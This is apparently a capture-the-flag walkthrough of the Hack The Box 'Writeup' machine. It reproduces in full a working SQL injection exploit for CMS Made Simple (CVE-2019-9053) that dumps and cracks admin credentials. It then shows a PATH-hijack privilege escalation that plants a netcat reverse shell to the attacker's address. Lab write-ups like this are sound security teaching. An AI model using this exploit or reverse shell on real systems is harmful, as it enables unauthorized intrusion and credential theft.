Hack The Box - Writeup Writeup
Hack The Box - Writeup
Enumeration
Nmap
root@kali:~# nmap 10.10.10.138
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-26 10:39 IST
Nmap scan report for 10.10.10.138
Host is up (0.46s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 41.07 seconds
There is a web application running on port 80
Wappalyzer
Wappalyzer is a add-on for firefox. It can be used for identifying the technologies used by a website.
Wappalyzer shows that the webite is using CMS Made Simple
Hidden Directory
There is a directory name writable
that I found by browsing around and the admin login was located at /writable/admin
Vulnerability
Searchsploit
searchsploit
returned lot of possible exploits.
root@kali:~# searchsploit made simple
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
CMS Made Simple (CMSMS) Showtime2 - Fi | exploits/php/remote/46627.rb
CMS Made Simple 0.10 - 'Lang.php' Remo | exploits/php/webapps/26217.html
CMS Made Simple 0.10 - 'index.php' Cro | exploits/php/webapps/26298.txt
CMS Made Simple 1.0.2 - 'SearchInput' | exploits/php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'Stylesheet.ph | exploits/php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cro | exploits/php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vuln | exploits/php/webapps/43889.txt
CMS Made Simple 1.2 - Remote Code Exec | exploits/php/webapps/4442.txt
CMS Made Simple 1.2.2 Module TinyMCE - | exploits/php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManag | exploits/php/webapps/5600.php
CMS Made Simple 1.4.1 - Local File Inc | exploits/php/webapps/7285.txt
CMS Made Simple 1.6.2 - Local File Dis | exploits/php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inc | exploits/php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulne | exploits/php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Reque | exploits/php/webapps/12009.html
CMS Made Simple 1.8 - 'default_cms_lan | exploits/php/webapps/34299.py
CMS Made Simple 1.x - Cross-Site Scrip | exploits/php/webapps/34068.html
CMS Made Simple 2.1.6 - Multiple Vulne | exploits/php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Ex | exploits/php/webapps/44192.txt
CMS Made Simple 2.2.5 - (Authenticated | exploits/php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated | exploits/php/webapps/45793.py
CMS Made Simple < 1.12.1 / < 2.1.3 - W | exploits/php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injecti | exploits/php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1. | exploits/php/webapps/34300.py
CMS Made Simple Module Download Manage | exploits/php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 | exploits/php/webapps/46546.py
--------------------------------------- ----------------------------------------
Exploitation
The exploit is a time base sql
injection and it retrieves the salt
, password
ans username
from the database. The script also contains
a function to crack the password using a wordlist
.
The url supplied should have /writable
appended to it.
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" \
+ ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" \
+ ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" \
+ ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print colored("[*] Now try to crack password")
crack_password()
beautify_print()
I used the rockyou
wordlist as the wordlist to crack the password
root@kali:~# python 46635.py -u http://10.10.10.138/writeup --crack -w /usr/share/wordlists/rockyou.txt
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9
And we have the username
and password
Usershell
root@kali:~# ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux
The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jkr@writeup:~$ ls
user.txt
jkr@writeup:~$ cat user.txt
d4e49*********************
And we have logged in
Privilege Escalation
Enumeration showed that there are some cron jobs that are run.
jkr@writeup:/etc$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && /bin/run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && /bin/run-parts --report /etc/cron.monthly )
pspy
This is a github project that can be used to monitor the running processes.
I downloaded it to my system and copied it to the target via wget
. This is very useful for monitoring cronjobs
or other processes that run in
the background.
./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||
| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive)
| [] (non-recursive) Draining file system events due to startup...
done
2019/10/26 01:44:48 CMD: UID=0 PID=9 |
2019/10/26 01:44:48 CMD: UID=0 PID=82 |
2019/10/26 01:44:48 CMD: UID=0 PID=81 |
2019/10/26 01:44:48 CMD: UID=0 PID=80 |
2019/10/26 01:44:48 CMD: UID=0 PID=8 |
---------output snipped-------------------------------------
2019/10/26 01:44:48 CMD: UID=0 PID=1 | init [2]
2019/10/26 01:45:01 CMD: UID=0 PID=2196 | /usr/sbin/CRON
2019/10/26 01:45:01 CMD: UID=0 PID=2197 | /usr/sbin/CRON
2019/10/26 01:45:01 CMD: UID=0 PID=2198 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
2019/10/26 01:45:10 CMD: UID=0 PID=2199 | sshd: [accepted]
2019/10/26 01:45:10 CMD: UID=0 PID=2200 | sshd: [accepted]
2019/10/26 01:45:16 CMD: UID=0 PID=2201 | sshd: jkr [priv]
2019/10/26 01:45:16 CMD: UID=0 PID=2202 |sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2019/10/26 01:45:16 CMD: UID=0 PID=2203 | run-parts --lsbsysinit /etc/update-motd.d
2019/10/26 01:45:16 CMD: UID=0 PID=2204 | /bin/sh /etc/update-motd.d/10-uname
We can see a cronjob
executing /bin/sh /etc/update-motd.d/10-uname
as root.
Lets take a look at this file
kr@writeup:/etc$ cd update-motd.d/
jkr@writeup:/etc/update-motd.d$ ls
10-uname
jkr@writeup:/etc/update-motd.d$ cat 10-uname
#!/bin/sh
uname -rnsom
- So the program executes the command
uname -rnsom
- The
PATH
variable used isPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
We can see that uname
is executed without an absolute path and it depends on the PATH
variable to find the uname
file.
jkr@writeup:/usr/bin$ which uname
/bin/uname
uname
is located at /bin/uname
. So if we can write our own uname
to a higher path in PATH
variable, we can execute our version of uname
jkr@writeup:/usr/local$ ls -la | grep bin
drwx-wsr-x 2 root staff 20480 Oct 25 20:54 bin
drwx-wsr-x 2 root staff 12288 Oct 26 01:48 sbin
These directories are writable and they are at a higher position in PATH
variable. So if we create a file named uname
in this path, the system will
execute its contents as root. So we can run any code we want as root.
Root shell
jkr@writeup:~$ cd /usr/local/bin
jkr@writeup:/usr/local/bin$ echo ‘nc 10.10.14.85 8081 -e /bin/sh’ > uname
jkr@writeup:/usr/local/bin$ chmod 777 uname
I created a file that will give a reverse netcat
shell.
root@kali:~# nc -lvp 8081
listening on [any] 8081 ...
connect to [10.10.14.85] from ip-10-10-10-138.ap-south-1.compute.internal [10.10.10.138] 40924
/bin/sh: 0: cant access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
eeba47**********************
We have a root shell. Pwned!